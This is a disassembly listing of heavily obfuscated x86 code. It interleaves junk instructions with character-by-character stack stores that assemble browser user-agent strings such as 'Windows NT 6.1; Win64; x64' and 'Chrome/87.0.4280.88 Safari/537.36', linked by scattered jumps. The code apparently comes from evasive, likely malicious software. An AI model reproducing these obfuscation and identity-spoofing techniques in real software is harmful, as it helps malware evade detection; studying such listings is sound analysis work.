btc dx, dx
mov edx, 0x20
xadd eax, ecx
and ah, 0xd2
mov word [ebp - 0x1df4], dx
mov eax, 0x49
sbb dh, bh
movzx cx, dh
neg edx
mov word [ebp - 0x1df2], ax
mov ecx, 0x6e
bts edx, ecx
sal ax, cl
mov word [ebp - 0x1df0], cx
btr cx, 0xad
mov edx, 0x74
cbw
jmp 0x8b8f9d
push ecx
jmp 0x5942df
call fcn.00474d50
mov eax, dword [0x520628]
cmp dx, 0x5f91
test di, di
xor dword [ebp - 8], eax
stc
test sp, cx
xor eax, ebp
mov dword [ebp - 0x1c], eax
jmp 0x759376
mov word [ebp - 0xf50], cx
neg cx
movsx ecx, bp
mov edx, 0x72
mov word [ebp - 0xf4e], dx
mov eax, 0x69
mov word [ebp - 0xf4c], ax
jmp 0x793874
mov eax, 0x38
mov word [ebp - 0x138a], ax
xor eax, ebp
bswap ecx
mov ecx, 0x37
mov word [ebp - 0x1388], cx
sal dh, cl
neg eax
btr dx, ax
mov edx, 0x2e
rol ecx, 0x49
mov word [ebp - 0x1386], dx
rcr al, 0xf7
mov eax, 0x30
rcl ecx, 0x3f
mov word [ebp - 0x1384], ax
mov ecx, edx
movzx edx, dx
xor ah, 0x6b
or ah, 0xff
mov word [ebp - 0x1382], cx
test ch, al
mov edx, 0x34
mov word [ebp - 0x1380], dx
rcr dl, 0xca
sbb al, 0x1c
xadd ch, dl
mov eax, 0x32
mov word [ebp - 0x137e], ax
mov ecx, 0x38
mov word [ebp - 0x137c], cx
sar al, 0xce
rol ah, 0x4c
mov edx, 0x30
bts eax, esp
mov word [ebp - 0x137a], dx
mov eax, 0x2e
rcl dl, cl
setb dl
shld dx, si, 0x55
mov word [ebp - 0x1378], ax
test edi, esp
adc ax, 0x2d7c
mov word [ebp - 0x1376], cx
rcr dh, 0xab
or ah, 0x4f
mov edx, ecx
dec cx
cmc
mov word [ebp - 0x1374], dx
mov eax, 0x20
sar dl, 0x66
xchg ch, dh
mov word [ebp - 0x1372], ax
rcr edx, cl
mov ecx, 0x53
mov word [ebp - 0x1370], cx
xchg al, ah
btc dx, 0xcf
mov edx, 0x61
sbb ah, 0x42
bsr ax, ax
mov word [ebp - 0x136e], dx
or ecx, esi
rcl eax, 0x40
sbb cl, ah
mov eax, 0x66
not cl
mov word [ebp - 0x136c], ax
rol ch, 0x2d
mov ecx, edx
rcr edx, 0xd2
and edx, esp
rol dl, cl
mov word [ebp - 0x136a], cx
mov edx, 0x72
xor ax, cx
xchg ecx, eax
mov word [ebp - 0x1368], dx
movzx eax, bx
or ch, 0x4c
mov eax, 0x69
cdq
shld cx, cx, 0xdc
mov word [ebp - 0x1366], ax
inc ah
test ebx, 0x108d303f
mov ecx, 0x2f
cbw
and ax, sp
mov word [ebp - 0x1364], cx
lahf
sal dh, 0x25
bt edx, 0x11
mov edx, 0x35
btr eax, 0x4a
mov word [ebp - 0x1362], dx
test ebp, 0x4cc05100
mov eax, 0x33
mov word [ebp - 0x1360], ax
sub cx, bp
shrd edx, eax, 0x85
not dx
mov ecx, 0x37
mov edx, ecx
shld edx, ebp, 0xe7
mov word [ebp - 0x135e], cx
rcl dl, cl
cwd
mov edx, 0x2e
rcr ch, 0xa4
shr cl, 0xef
shld cx, bx, 0xa0
mov word [ebp - 0x135c], dx
mov word [ebp - 0x135a], ax
sal ecx, cl
mov ecx, 0x36
and ax, di
bsr ax, bp
mov word [ebp - 0x1358], cx
dec eax
not ax
xchg al, al
sub edx, edx
movsx ax, cl
cmovg eax, eax
cwde
mov word [ebp - 0x1356], dx
cmovno ax, sp
setg al
movsx ax, dl
push 0x134
nop
push edx
lea eax, [ebp - 0x1354]
jmp 0x852d5c
mov word [ebp - 0x19b8], ax
mov ecx, 0x6b
mov word [ebp - 0x19b6], cx
sal cl, cl
xor edx, ecx
cdq
mov edx, 0x6f
sub cl, 0x21
mov word [ebp - 0x19b4], dx
mov eax, 0x2f
mov word [ebp - 0x19b2], ax
bts edx, ebp
sub cl, 0xae
mov ecx, 0x32
mov word [ebp - 0x19b0], cx
jmp 0x5d55b3
push ebp
mov ebp, esp
sar ah, 1
push 0xfffffffffffffffe
bswap ax
push 0x6a4974
test di, 0x4949
ror ah, 0x6a
push 0x4740a0
setb ah
mov eax, dword fs:[0]
cmp ecx, edx
push eax
movsx eax, bx
sub esp, 8
mov eax, 0x1e50
jmp 0x7df58e
mov word [ebp - 0x1c0a], ax
sal ecx, cl
ror ecx, 0x7a
mov ecx, 0x57
sar dl, cl
bts dx, dx
bsf dx, sp
mov word [ebp - 0x1c08], cx
cmp ax, 0x19c2
rcl ch, cl
bt ax, 0x56
mov edx, 0x69
movzx ecx, sp
bt eax, 0x86
mov word [ebp - 0x1c06], dx
not eax
mov eax, 0x6e
sub ecx, 0x2cc8034b
bsf cx, cx
xadd dh, ch
mov word [ebp - 0x1c04], ax
or edx, 0x2a647f0a
btr ax, bx
mov ecx, 0x64
mov word [ebp - 0x1c02], cx
mov edx, 0x6f
cmp sp, dx
bts ax, dx
mov word [ebp - 0x1c00], dx
dec dx
mov eax, 0x77
add cl, 0x7e
mov word [ebp - 0x1bfe], ax
btc dx, bp
mov ecx, 0x73
mov word [ebp - 0x1bfc], cx
ror dh, 0xc8
bt ecx, 0x68
bts ecx, ecx
mov edx, 0x20
jmp 0x74c9e2
push eax
movzx cx, cl
lea ecx, [ebp - 0x113c]
jmp 0x7c7f30
mov word [ebp - 0x157e], cx
bts ecx, edx
cmp dx, 0x3165
mov edx, eax
bt cx, 0xd4
mov word [ebp - 0x157c], dx
cmovae ax, ax
mov eax, 0x33
btr ecx, 0xf0
or cl, bl
shl edx, cl
mov word [ebp - 0x157a], ax
mov ecx, 0x2e
bt ax, bp
inc eax
mov word [ebp - 0x1578], cx
sar ch, cl
add eax, 0x304b5300
xor cx, 0x4fae
mov edx, 0x31
setbe al
shrd cx, dx, 0x17
mov word [ebp - 0x1576], dx
ror cl, cl
setbe cl
shrd ax, bx, 0x74
mov eax, edx
clc
rcl dl, cl
bsr cx, dx
mov word [ebp - 0x1574], ax
adc ch, 0x15
not dl
mov ecx, 0x32
setbe al
mov word [ebp - 0x1572], cx
add dh, dl
shl ah, cl
test esi, edx
mov edx, 0x20
test esi, edx
mov word [ebp - 0x1570], dx
ror dh, cl
neg ax
mov eax, 0x53
btc edx, 0xbb
movsx edx, bx
rcl cl, 0xca
mov word [ebp - 0x156e], ax
mov ecx, 0x61
ror edx, 0x9c
mov word [ebp - 0x156c], cx
mov edx, 0x66
neg ah
mov word [ebp - 0x156a], dx
shl dh, cl
btc ax, 0xab
xor dx, bp
mov eax, ecx
add cx, 0x497f
sbb cx, si
mov word [ebp - 0x1568], ax
xor ecx, 0x44ec7b81
neg dh
mov ecx, 0x72
neg dx
mov word [ebp - 0x1566], cx
cmp ch, dl
bt dx, 0x63
or dh, bl
mov edx, 0x69
mov word [ebp - 0x1564], dx
not ax
xor dh, bl
bswap ax
mov eax, 0x2f
or dh, 0x86
or dx, si
add dl, 0xe5
mov word [ebp - 0x1562], ax
sar edx, cl
neg al
mov ecx, 0x35
cmp ah, dh
shl dl, 0x1b
mov word [ebp - 0x1560], cx
adc dh, 0xb1
mov edx, 0x33
cwde
cmc
mov word [ebp - 0x155e], dx
test bp, 0x2788
rol cl, cl
shrd ecx, esi, 0xd0
mov eax, 0x37
sal ecx, 0x1a
stc
test edi, ebp
mov word [ebp - 0x155c], ax
mov ecx, 0x2e
bts eax, edi
mov ax, cx
rcr ah, 0xf9
mov word [ebp - 0x155a], cx
mov word [ebp - 0x1558], dx
adc ah, 0x5f
rcl dh, cl
movzx ax, dl
mov eax, 0x36
mov word [ebp - 0x1556], ax
cwd
bts dx, di
sub ecx, ecx
mov word [ebp - 0x1554], cx
movsx dx, ah
mov dh, dl
sets dl
push 0x132
setnp dl
push ecx
movzx dx, bl
sets dh
cmovbe dx, bx
lea edx, [ebp - 0x1552]
jmp 0x680512
push eax
jmp 0x6f4165
mov word [ebp - 0x11f8], ax
not dh
stc
mov ecx, 0x4e
mov word [ebp - 0x11f6], cx
setg dl
mov edx, 0x54
bsr cx, bx
rcl cx, 0x54
adc ecx, ecx
mov word [ebp - 0x11f4], dx
sub edx, esi
bsr cx, ax
ror dl, cl
mov word [ebp - 0x11f2], ax
bswap ecx
stc
mov ecx, 0x36
mov word [ebp - 0x11f0], cx
cmovg edx, esp
rol ch, cl
clc
mov edx, 0x2e
or ecx, edx
mov word [ebp - 0x11ee], dx
mov eax, 0x31
mov word [ebp - 0x11ec], ax
xchg ah, dh
bsr dx, cx
and al, 0xf1
mov ecx, 0x3b
xadd ax, dx
neg dl
btc edx, ebx
mov word [ebp - 0x11ea], cx
rol al, 0x67
mov edx, 0x20
mov word [ebp - 0x11e8], dx
cwde
xor ax, dx
mov eax, 0x57
dec cl
and ecx, 0x52775781
rol ch, 0xc5
mov word [ebp - 0x11e6], ax
shld dx, sp, 0x37
mov ecx, 0x69
sal dx, cl
rdtsc
mov word [ebp - 0x11e4], cx
movzx ax, dl
or ax, bx
cmovns dx, cx
mov edx, 0x6e
or ax, 0x7a0
sbb al, dh
mov word [ebp - 0x11e2], dx
mov eax, 0x36
movzx dx, cl
btr cx, di
mov word [ebp - 0x11e0], ax
btc ax, 0x6b
mov ecx, 0x34
mov word [ebp - 0x11de], cx
mov edx, 0x3b
sal cx, cl
sar ch, 0x25
mov word [ebp - 0x11dc], dx
mov ecx, 0x1ce626b0
test bp, di
mov eax, 0x20
sub ecx, 0x123173c1
sal ch, 0xa1
mov word [ebp - 0x11da], ax
ror ch, 0xf9
mov ecx, 0x78
shld eax, ecx, 0xa4
mov word [ebp - 0x11d8], cx
mov edx, 0x36
mov word [ebp - 0x11d6], dx
xor ah, bl
shr ax, 0xa7
mov eax, 0x34
mov word [ebp - 0x11d4], ax
cdq
xor cx, bx
jmp 0x783f83
mov ecx, 0x6f
mov word [ebp - 0xffe], cx
mov edx, 0x77
mov word [ebp - 0xffc], dx
clc
bswap cx
btr edx, ecx
mov eax, 0x73
bt edx, 0x92
mov word [ebp - 0xffa], ax
mov ecx, 0x20
mov word [ebp - 0xff8], cx
bsf eax, ecx
movsx eax, bp
cwd
mov edx, 0x4e
mov word [ebp - 0xff6], dx
mov eax, 0x54
mov word [ebp - 0xff4], ax
cmp ebx, 0x45072c0b
adc edx, 0x694b7f01
shr dh, cl
mov word [ebp - 0xff2], cx
mov eax, 0x69542fe2
shl dh, 0x6d
mov edx, 0x36
movsx cx, ch
mov word [ebp - 0xff0], dx
btc eax, 0x38
xadd edx, eax
mov eax, 0x2e
adc dx, di
cmp ebx, 0x556f4e05
mov word [ebp - 0xfee], ax
adc cx, sp
btc ecx, 0x72
mov ecx, 0x33
sbb dh, 0xf7
mov word [ebp - 0xfec], cx
mov edx, 0x3b
not ecx
and ah, bl
neg eax
mov word [ebp - 0xfea], dx
movsx cx, al
mov eax, 0x6d036130
rol eax, cl
mov eax, 0x20
mov word [ebp - 0xfe8], ax
not edx
inc dx
mov ecx, 0x57
mov word [ebp - 0xfe6], cx
rcl cl, 0xc
and cx, 0x44c1
mov edx, 0x69
rcr ch, 0x40
mov word [ebp - 0xfe4], dx
bt dx, 0x4e
mov eax, 0x6e
mov word [ebp - 0xfe2], ax
ror ch, 0x12
cmp esp, ebx
mov ecx, 0x36
rol edx, 3
shr dh, 0x9b
mov word [ebp - 0xfe0], cx
bts eax, eax
bswap ax
mov edx, 0x34
sal cl, 0x4f
sub ax, bp
bts ecx, ebp
mov word [ebp - 0xfde], dx
mov eax, 0x3b
cwd
mov word [ebp - 0xfdc], ax
rdtsc
rcr dh, cl
xor ecx, 0x23f63a4c
mov ecx, 0x20
mov word [ebp - 0xfda], cx
bts eax, ebp
lahf
xadd cl, cl
mov edx, 0x78
xor ax, si
mov word [ebp - 0xfd8], dx
sbb cx, di
mov eax, 0x36
xor edx, 0x26bc33a2
mov word [ebp - 0xfd6], ax
or dl, dh
rol ecx, 0xc8
add ch, 0xa5
mov ecx, 0x34
mov word [ebp - 0xfd4], cx
mov edx, 0x29
rcr ah, cl
rol ch, 0xcc
mov word [ebp - 0xfd2], dx
adc cx, 0xede
or edx, esp
mov eax, 0x20
cdq
stc
test ebp, ecx
mov word [ebp - 0xfd0], ax
add ax, di
mov ecx, 0x41
btc dx, 0x3d
or eax, esp
dec ah
mov word [ebp - 0xfce], cx
mov edx, 0x70
cbw
cmovbe cx, sp
mov word [ebp - 0xfcc], dx
lahf
mov eax, edx
mov word [ebp - 0xfca], ax
mov ecx, 0x6c
btc dx, bx
cdq
mov word [ebp - 0xfc8], cx
mov edx, 0x65
test bx, si
adc ah, cl
jmp 0x7a0343
lea eax, [ebp - 0xf3a]
jmp loc.0042855d
mov word [ebp - 0x1dee], dx
stc
mov eax, 0x65
adc edx, 0x7c003fca
mov word [ebp - 0x1dec], ax
mov ecx, 0x6c
sbb edx, ebp
mov word [ebp - 0x1dea], cx
rcl ah, 0xf6
mov edx, 0x20
stc
mov word [ebp - 0x1de8], dx
test si, ax
cmovo dx, si
mov eax, 0x4d
test al, 0x24
stc
mov word [ebp - 0x1de6], ax
shrd ax, cx, 0xe9
movsx ax, dl
mov ecx, 0x61
cmp esi, 0x1fc62fdc
btr edx, 0x57
and eax, 0x34b459b7
mov word [ebp - 0x1de4], cx
mov edx, 0x63
shl cx, 0xf0
mov word [ebp - 0x1de2], dx
sbb eax, ecx
mov eax, 0x20
mov word [ebp - 0x1de0], ax
movsx ecx, bp
add dx, 0x3b04
mov ecx, 0x4f
clc
mov word [ebp - 0x1dde], cx
mov edx, 0x53
sal ch, 0xe0
mov word [ebp - 0x1ddc], dx
mov word [ebp - 0x1dda], ax
shr dx, cl
clc
mov ecx, 0x58
btr dx, 0x12
mov word [ebp - 0x1dd8], cx
mov edx, 0x3b
mov word [ebp - 0x1dd6], dx
mov word [ebp - 0x1dd4], ax
dec ch
or ecx, edi
not cl
mov ecx, 0x55
jmp 0x72fb8a
mov eax, 0x69
mov word [ebp - 0x13ae], ax
mov ecx, 0x6b
shrd edx, ebx, 0x38
rdtsc
sar ax, cl
mov word [ebp - 0x13ac], cx
bswap dx
not cl
mov edx, 0x65
sal cx, cl
mov word [ebp - 0x13aa], dx
mov eax, 0x20
rol ch, 0xb1
btr cx, 0xcd
xadd ch, ch
mov word [ebp - 0x13a8], ax
sbb ax, 0x2bbb
mov ecx, 0x47
movsx ax, bh
mov word [ebp - 0x13a6], cx
adc eax, esp
mov word [ebp - 0x13a4], dx
mov eax, esp
movsx ax, bl
mov eax, 0x63
mov word [ebp - 0x13a2], ax
btr ecx, ecx
btr dx, 0x6c
movsx dx, bl
mov ecx, 0x6b
mov word [ebp - 0x13a0], cx
mov edx, 0x6f
lahf
cmc
sub cx, 0x546e
mov word [ebp - 0x139e], dx
setg dh
mov eax, 0x29
mov word [ebp - 0x139c], ax
shr eax, 0x3d
bsr dx, cx
mov ecx, 0x20
rdtsc
test ecx, 0x637b335f
mov word [ebp - 0x139a], cx
or edx, 0xa2b7cba
mov edx, 0x43
bsf cx, di
mov word [ebp - 0x1398], dx
rcl dh, 0x81
mov dx, dx
mov eax, 0x68
mov word [ebp - 0x1396], ax
xor dx, si
mov ecx, 0x72
shld ax, si, 0x16
cbw
setl dl
mov word [ebp - 0x1394], cx
mov edx, 0x6f
neg cx
rol ah, cl
xchg ecx, ecx
mov word [ebp - 0x1392], dx
bts edx, ebx
mov eax, 0x6d
setns ch
bt dx, di
mov word [ebp - 0x1390], ax
setl ch
xadd ah, dh
mov ecx, 0x65
bts ax, cx
mov word [ebp - 0x138e], cx
bt dx, 0x8a
rol eax, cl
mov dx, 0x3b86
mov edx, 0x2f
adc ecx, 0x3d1f71f7
sal al, cl
mov word [ebp - 0x138c], dx
jmp 0x7f6853
mov edx, 0x2e
neg cl
mov word [ebp - 0x1e12], dx
and eax, edx
btc edx, ebp
mov eax, 0x38
cmove dx, bx
shl dh, 0x69
mov dl, 0x92
mov word [ebp - 0x1e10], ax
cmp ax, 0x73b5
mov ecx, 0x30
cdq
mov word [ebp - 0x1e0e], cx
dec cl
mov edx, 0x20
bsr ecx, ebx
xadd ch, ch
mov word [ebp - 0x1e0c], dx
add ax, 0x1b91
movzx dx, dh
setle ah
mov eax, 0x28
mov word [ebp - 0x1e0a], ax
bt edx, 0x5c
rdtsc
mov ecx, 0x4d
mov word [ebp - 0x1e08], cx
sete cl
rcr cx, 0xca
mov edx, 0x61
ror ah, cl
xor ax, bp
rol cx, cl
mov word [ebp - 0x1e06], dx
mov eax, 0x63
rcr dh, cl
sal dx, 0xd
mov word [ebp - 0x1e04], ax
movzx eax, bx
mov ecx, 0x69
clc
mov word [ebp - 0x1e02], cx
cbw
lahf
mov edx, 0x6e
jmp 0x7be616
call fcn.00473d40
add esp, 0xc
neg edx
sal dx, cl
mov ecx, 0x4d
shrd edx, ecx, 0xc7
mov word [ebp - 0x1620], cx
mov edx, 0x6f
btr ax, 0x6b
adc cl, 0x3b
setge al
mov word [ebp - 0x161e], dx
mov eax, 0x7a
jmp 0x694b83